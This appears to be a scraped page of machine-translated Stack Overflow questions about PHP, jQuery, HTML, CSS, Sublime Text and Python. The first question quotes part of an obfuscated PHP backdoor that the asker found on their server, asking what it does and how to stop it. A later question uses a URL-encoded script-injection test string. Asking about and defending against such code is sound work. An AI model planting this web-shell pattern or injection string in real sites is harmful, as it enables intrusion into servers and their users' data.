首先,我可以要求简要说明此代码可能尝试做什么?我假设它是恶意的.
其次,我可以采取哪些措施来防止这些文件被添加到我的服务器?我的想法是通过FTP使用SFTP和更强大的ftp密码,因为有人可能对ftp密码运行了暴力.
或者是否有人可能已经将恶意代码提交到网站上的表单中,而我还没有对提交的数据进行清理?
这是我找到的PHP代码.
<?php
@error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
if (count($_POST) < 2) {
die(PHP_OS . chr(49) . chr(48) . chr(43) . md5(0987654321));
}
$v5031e998 = false;
foreach (array_keys($_POST) as $v3c6e0b8a) {
switch ($v3c6e0b8a[0]) {
case chr(108):
$vd56b6998 = $v3c6e0b8a;
break;
case chr(100):
$v8d777f38 = $v3c6e0b8a;
break;
case chr(109):
$v3d26b0b1 = $v3c6e0b8a;
break;
case chr(101);
$v5031e998 = true;
break;
}
}
if ($vd56b6998 === '' || $v8d777f38 === '')
die(PHP_OS . chr(49) . chr(49) . chr(43) . md5(0987654321));
$v619d75f8 …Run Code Online (Sandbox Code Playgroud) 使用jQuery验证插件的以下脚本 - http://docs.jquery.com/Plugins/Validation - 阻止表单发送,如下所示:
http://www.bestcastleintown.co.uk/book2.php
请填写表格并观看验证消息消失然后尝试按发送,这似乎不发送,我不明白为什么.
删除此脚本后,联系表单将正常运行并允许发送.因此我认为这是导致问题的原因.任何帮助或建议将不胜感激.
<script type="text/javascript">
jQuery.validator.setDefaults({
debug: true,
success: "valid"
});;
</script>
<script>
$(document).ready(function() {
$("#aform").validate({
rules: {
postcode: {required: true,minlength: 6},
phone: {required: true,number: true}
}
});
});
</script>
Run Code Online (Sandbox Code Playgroud) 我只是想知道默认情况下 HTML<table>元素是否隐式地将属性 scope="col" 应用于<th>元素中包含的第一组<thead>元素?
当我在浏览器中呈现下面的第一组 HTML 时,它似乎会自动检测到<th>一月、二月、三月、四月等的单元格是列的标题。那么 scope="col" 是否不需要添加到标记中,因为它会以这种方式自动呈现?
<table>
<caption>2009 Employee Sales by Department</caption>
<thead>
<tr>
<th></th>
<th>Jan</th>
<th>Feb</th>
<th>March</th>
<th>April</th>
<th>May</th>
<th>June</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">Firefox</th>
<td>37.1</td>
<td>36.6</td>
<td>36.3</td>
<td>35.8</td>
<td>35.2</td>
<td>34.4</td>
</tr>
</tr>
</tbody>
</table>
Run Code Online (Sandbox Code Playgroud)
第二组标记包括将 scope="col" 添加到 Jan、feb、March April 等标签中。是否有必要?正如上面的例子似乎<th>无论如何都将这些呈现为没有范围“col”的列。
我知道 scope 属性在普通 Web 浏览器中没有视觉效果,但可以被屏幕阅读器使用。那么是否应该为了更好的语义标记和可访问性而添加它?
<table>
<caption>2009 Employee Sales by Department</caption>
<thead>
<tr>
<th scope="col"></th>
<th scope="col">Jan</th>
<th scope="col">Feb</th>
<th scope="col">March</th>
<th scope="col">April</th>
<th …Run Code Online (Sandbox Code Playgroud) 如何阻止<a>第一次单击时的默认操作(按顺序显示工具提示),然后在第二次单击时,用户是否指向href元素上设置的属性值?
HTML
<a id="second" href="https://www.test.com/" title="" class="customtooltip c_tool2" data-original-title="data del toolltip numero 2">tooltip</a>
Run Code Online (Sandbox Code Playgroud)
jQuery的
var t = $('.c_tool2'), b = $('a[href^="http');
b.click(function(e){
if(t.length > 0){
e.preventDefault();
t.tooltip('show');
} else {
// on second click direct user to value of href
}
});
Run Code Online (Sandbox Code Playgroud) 您好,我有一个问题,我需要一些帮助来增加我对JavaScript的了解和理解.
在我的init方法中,请使用.on方法查看此特定行,其中我说当单击按钮时我们将使用this关键字引用contactForm对象,然后我们将调用.show方法.
.on( 'click', this.show );
Run Code Online (Sandbox Code Playgroud)
现在的问题是 - 如果show是一个方法,那么为什么我们不这样做,为什么我们不调用这样的方法?
.on( 'click', this.show() );
Run Code Online (Sandbox Code Playgroud)
我是否正确地说这是因为我们不想立即调用show方法,如果遇到JavaScript方法会解析所有这些代码,那么它会在这里来到这一部分this.show() - 它会立即执行这个功能.但我不希望它这样做,我只希望在单击相应按钮的条件下调用该函数.
当写出show方法时this.show,没有括号会停止show方法自动执行?
var contactForm = {
init: function() {
$('<button></button>', {
text: 'Contact Me!'
})
.insertAfter('article:first')
.on( 'click', this.show() );
},
show: function() {
console.log('showing');
}
Run Code Online (Sandbox Code Playgroud)
很抱歉,如果我的术语不够具有足够的描述性或准确性.任何简洁明了的答案都会受到大力赞赏.
最近,我的经理批评我使用 HTML<strong>标签,因为我用它来加粗一些文本。他表示,如果我试图实现美观的外观并向我的网页应用一些视觉强调,我应该使用 CSS 类来代替标签,<strong>例如此类:
.heavytext {
font-weight: bold;
}
Run Code Online (Sandbox Code Playgroud)
这是使用该标签的网页上的文本<strong>。
<li>The hirer agrees <strong>Any damaged occuring is...</strong></li>
Run Code Online (Sandbox Code Playgroud)
这是在元素内使用 CSS 类的网页上的文本<span>。
<li>The hirer agrees <span class="heavytext">Any damaged occuring is...</span></li>
Run Code Online (Sandbox Code Playgroud)
我的问题是更好的做法是什么。在这种情况下,我认为应该使用标签为屏幕阅读器强调文本<strong>,因为这不是为了视觉效果。该文本是某些条款和条件的一部分,内容为“因设备误用而造成的任何损坏均由客户负责,并将收取损坏费用”。
我结合了getElementsByTagName和getAttribute方法来获取文档中每个段落元素的title属性。这是代码:
var paras = document.getElementsByTagName('p');
for (i = 0; i < paras.length; i++) {
console.log(paras[i].getAttribute('title'));
}
Run Code Online (Sandbox Code Playgroud)
我特别需要帮助的代码行是以下代码:
console.log(paras[i].getAttribute('title'));
Run Code Online (Sandbox Code Playgroud)
[i]这行代码在做什么?这是我在for循环中声明的“计数器”变量,它在每次迭代中都在递增吗?并且[i]还代表该getElementsByTagName函数返回的数组索引吗?
我正在使用Bootstrap来创建一个使用轮播组件的网站,该组件占据了页面的很大一部分.我发现当我调整浏览器窗口大小并水平拖动视口时,图像宽度会变得歪斜和扭曲.我为我的轮播设置了以下整体CSS样式以及不同宽度的媒体查询.
我可以应用的CSS规则或属性是否有任何修改.carousel .item,.carousel img以防止在水平拖动浏览器窗口时图像的宽度失真?我在想width:100%;我可能解决这个问题?
以下是水平调整浏览器大小时出现的偏斜图像:

这是网站:http://www.the-session.co.uk/jen/
这是CSS:
.carousel .item {
height: 900px;
}
.carousel img {
min-width: 100%;
height: 900px;
}
@media (max-width: 979px) {
.carousel .item {
height: 500px;
}
.carousel img {
width: auto;
height: 500px;
}
}
@media (max-width: 767px) {
.carousel .item {
height: 300px;
}
.carousel img {
height: 300px;
}
}
Run Code Online (Sandbox Code Playgroud) 按下Shift + Command + P以显示文本输入后,当我键入"install"时,实际上没有在选项列表中返回任何内容.
我相信当我输入"install"时,这应该会出现类似于"Package Control:Install Package"选项的内容
由于这个原因,我无法安装插件,并希望得到一些帮助.
我正在尝试用CSS创建一个自定义的形状,但我不能完全创建我想要实现的.形状将代表主导航上的选定项目,如下所示:
正如您所看到的,我<a class="selected">使用CSS属性设置了元素样式,该属性border-radius: 40px 40px 40px 40px;显示的外观与药丸具有相似的外观.
然而,我想要实现的是一个具有直的顶部和底部边缘但具有圆形左右两侧的形状,如下图所示:我是否可以应用任何CSS属性来实现此目的?

我曾经遇到过一个具有缺乏不像正常的标题标签的一些HTML5的一个例子<h1>来<h6>标记.
这是不正确的HTML使用?我相信使用标题标签不正确,我确实想验证.
<article>
<h>Subheading</h>
This is some content
</article>
Run Code Online (Sandbox Code Playgroud) 我刚开始尝试用PHP验证数据,我试图更好地理解这个概念.我期望将字符串作为参数传递给$data参数,test_input()以便通过以下PHP函数格式化函数.
trim() 从字符串末尾删除空格stripslashes() 返回带有反斜杠的字符串htmlspecialchars() 将特殊字符转换为HTML实体问题是我在函数末尾回显的字符串没有以我想要的方式格式化.事实上,当我在我的服务器上运行此代码时,它看起来完全一样 - 没有删除空格,反斜杠没有被删除,也没有特殊字符转换为HTML实体.
我的问题是,我是以错误的方式解决了这个问题吗?我是否应该$santised_input使用每个函数创建在3个单独行上调用的变量trim(),stripslashes()并且htmlspecialchars()?
根据我的理解,$santised_input每次在新的代码行上重新创建变量时,我都会覆盖变量的值.因此,永远不会执行trim()和stripslashes()字符串函数.
我想要实现的是"$santised_input"在$data参数传递给我的test_input()函数时使用变量来运行所有这些PHP字符串函数.换句话说,这些字符串函数可以链接在一起,这样我只需要创建$santised_input一次吗?
<?php
function test_input($data) {
$santised_input = trim($data);
$santised_input = stripslashes($data);
$santised_input = htmlspecialchars($data);
echo $santised_input;
}
test_input("%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E\ ");
//Does not output desired result ""><script>alert('hacked')</script>"
?>
Run Code Online (Sandbox Code Playgroud) 使用Python 3.7时使用read()和open()函数
是否存在记录的原因open()但read()不是?
https://docs.python.org/3.7/library/functions.html
from sys import argv
script, filename = argv
txt = open(filename)
print(f"Here's your file {filename}:")
print(txt.read())
print("Type the filename again:")
file_again = input("> ")
txt_again = open(file_again)
print(txt_again.read())
Run Code Online (Sandbox Code Playgroud) html ×4
javascript ×4
css ×3
jquery ×3
php ×2
css3 ×1
html5 ×1
python ×1
python-3.x ×1
sublimetext2 ×1